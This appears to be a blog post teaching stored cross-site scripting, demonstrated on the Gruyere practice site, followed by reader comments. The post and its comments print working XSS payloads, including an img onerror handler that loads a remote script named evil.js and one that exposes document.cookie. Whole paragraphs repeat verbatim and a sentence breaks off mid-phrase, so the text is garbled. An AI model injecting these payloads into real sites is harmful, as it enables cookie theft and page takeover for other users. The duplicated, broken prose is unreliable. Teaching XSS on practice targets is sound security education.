What exactly is Stored XSS??
The persistent (or stored) XSS vulnerability is a
devastating variant of a cross-site scripting flaw: it occurs when
the data provided by the attacker is saved by the server, and then
permanently displayed on "normal" pages returned to other
users in the course of regular browsing, without proper HTML
escaping.
Persistent XSS can be more significant than other types because an attacker's malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, or a webpage where comments can be posted the code would be further designed to self-propagate across accounts, creating a type of a client-side
The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, IM etc.) that can be controlled by an attacker could become an injection vector.
Here we will see an example of how a persistent XSS attack can be performed.
Note: All of these attacks are made on Gruyere , which is an educational website
Sample URL:
<img src=1 onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);"
I am going to upload this in "About me" section. which will be stores in server
so the sample script has been uploaded on server
Now lets check what's the impact of it
Now this is what happens. This is just an example how an attacker can input malicious script which can destroy a webpage , steal sensitive info .
Persistent XSS can be more significant than other types because an attacker's malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, or a webpage where comments can be posted the code would be further designed to self-propagate across accounts, creating a type of a client-side
The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, IM etc.) that can be controlled by an attacker could become an injection vector.
Here we will see an example of how a persistent XSS attack can be performed.
Note: All of these attacks are made on Gruyere , which is an educational website
Sample URL: <img src=1 onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);"
I am going to upload this in "About me" section. which will be stores in server
so the sample script has been uploaded on server
Now this is what happens. This is just an example how an attacker can input malicious script which can destroy a webpage , steal sensitive info .
In the next blog we will learn more... Till then browse safe !!!:)
<img src=x onerror="alert('Pop-up window via stored XSS');"
ReplyDelete<img src=x onerror="alert(document.cookie);"
ReplyDelete<img src=1 onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);"
ReplyDelete